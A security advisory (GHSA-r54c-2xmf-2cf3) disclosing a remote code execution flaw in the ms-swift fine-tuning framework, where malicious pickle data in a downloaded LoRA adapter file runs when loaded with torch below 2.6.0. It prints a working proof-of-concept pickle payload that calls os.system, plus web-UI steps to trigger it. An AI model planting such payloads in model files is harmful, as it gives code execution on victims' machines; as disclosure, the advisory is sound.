GHSA-r54c-2xmf-2cf3: MS SWIFT Deserialization RCE Vulnerability
This appears to be a security vulnerability report describing a remote code execution (RCE) exploit in the ms-swift framework through malicious pickle deserialization in adapter model files. The vulnerability allows arbitrary command execution when loading specially crafted adapter models from ModelScope.
This occurs when using machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0
I. Detailed Description:
- Install ms-swift
pip install ms-swift -U
- Start web-ui
swift web-ui --lang en
After startup, you can access http://localhost:7860/ through your browser to see the launched fine-tuning framework program
Upload an adapter model repository (cyjhhh/lora_adapter_4_llama3) on ModelScope, where the lora/adapter_model.bin file is generated through the following code:
import torch, pickle, os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ("touch /tmp/malicious.txt",)) # Arbitrary command
malicious_data = {
"v_head.summary.weight": MaliciousPayload(),
"v_head.summary.bias": torch.randn(10)
}
if __name__ == "__main__":
with open("adapter_model.bin", "wb") as f:
pickle.dump(malicious_data, f)
First training submission: First, fill in the required parameters in the LLM Training interface, including Model id and Dataset Code, and configure the following in the Other params section of Advanced settings
Click Begin to submit. You can see the backend command running as follows
By reading the ms-swift source code, swift.llm.model.utils#safe_snapshot_download() and modelscope.hub.utils.utils#get_cache_dir(), we can see that adapters are downloaded locally to the path ~/.cache/modelscope. Therefore, the complete local path for the specified remote adapters after download is:
~/.cache/modelscope/hub/models/cyjhhh/lora_adapter_4_llama3
Wait for the first submission program until the adapters download is complete, then you can click “kill running task” on the page to terminate the first training
- Second training submission, configure the page parameters as follows
Click submit to see the backend command running as follows
After waiting for a while, you can see that torch.load() loaded the malicious adapter_model.bin file and successfully executed the command. Related execution information can also be seen in the log file corresponding to –logging_dir
Note (Prerequisites) Requires machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0
References
Code Behaviors & Features
Detect and mitigate GHSA-r54c-2xmf-2cf3 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →